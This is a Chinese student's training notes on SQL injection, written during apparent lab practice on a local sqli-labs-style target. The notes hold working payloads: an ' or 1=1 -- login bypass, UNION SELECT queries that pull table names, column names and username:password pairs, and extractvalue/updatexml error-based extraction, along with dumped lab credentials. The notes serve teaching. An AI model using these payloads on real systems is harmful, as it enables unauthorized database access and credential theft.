

20200629信息安全实训

笔记本： 我的第一个笔记本

创建时间： 2020/6/29 9:02

更新时间： 2020/6/29 16:32

作者： 820410740@qq.com

语言分类：解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令，然后在运行时直接由使用该语言的计算机执行这些指令。

在解释型语言中，如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行，从而使程序依据用户输入执行有可能存在恶意行为的代码。

例如：在与用户交互的程序中，用户的输入拼接到SQL语句中，执行了与原定计划不同的行为，从而产生了SQL注入漏洞。

• 登录SQL语句： `select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'`

用户输入的内容可由用户自行控制，例如可以输入 ' or 1=1 --空格

SQL语句： `select * from admin where username = '' or 1=1 -- 'and password = '用户输入的密码'`
其中or 1=1 永远为真，--注释后边内容不再执行，因此SQL语句执行会返回admin表中的所有内容。

Burpsuite万能密码测试案例演示

• CMS逻辑：index.php首页展示内容，具有文章列表（链接具有文章id）、articles.php文章详细页，URL中article.php?id=文章id读取id文章。

SQL注入验证：

- 1、单引号 '
- 2、and 1=1
- 3、and 1=2

如果页面中Mysql报错,证明该页面存在SQL注入漏洞。

- 根据注入位置数据类型可将SQL注入分为两类：数字型和字符型。



有回显的报错信息 sql注入
无回显的sql注入

- 通过在URL中修改对应的ID值，为正常数字、大数字、字符（单引号、双引号、双单引号、括号）、反斜杠 \ 来探测URL中是否存在注入点。

作业：Sqlmap-Less1~4,GET基于报错的SQL注入。



手工注入 库名 表名 字段名 列数

- 1、利用order by 判断字段数。
- 2、利用union select 联合查询，获取表名。
`0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+`
- 3、利用union select 联合查询，获取字段名。
`0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+`
- 4、利用union select 联合查询，获取字段值。
`0' union select 1,group_concat(username,0x3a,password),3 from users--+`

127.0.0.1:8081/sqlmap/.../group_concat(column_name,0x3a,password),3 from users--+

Welcome Dhakkan
Your Login name:Dumb:Dumb,Angelina:1-kill-
you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mobile,admin:admin,admin1:admin1,admin2:admin.
Your Password:3

SQLI DUMB SERIES-1

extractvalue函数

参考链接: <https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html>

12.11 XML Functions

Table 12.15 XML Functions

Name	Description
<code>ExtractValue()</code>	Extracts a value from an XML string using XPath notation
<code>UpdateXML()</code>	Return replaced XML fragment

This section discusses XML and related functionality in MySQL.

```
mysql> select * from articles where id = 1 and extractvalue(1,concat(0x7e,@@version,0x7e));
ERROR 1105 (HY000): XPATH syntax error: '5.5.53'
mysql> select * from articles where id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: 'cms'
mysql>
```

updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数: XML_document是String格式, 为XML文档对象的名称, 文中为Doc

第二个参数: XPath_string (Xpath格式的字符串), 如果不了解Xpath语法, 可以在网上查找教程。

第三个参数: new_value, String格式, 替换查找到的符合条件的数据

```
mysql> select * from articles where id = 1 and updatexml(1,concat(0x7e,database(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: 'cms'
mysql> select * from articles where id = 1 and updatexml(1,concat(0x7e,@@version,0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '5.5.53'
mysql>
```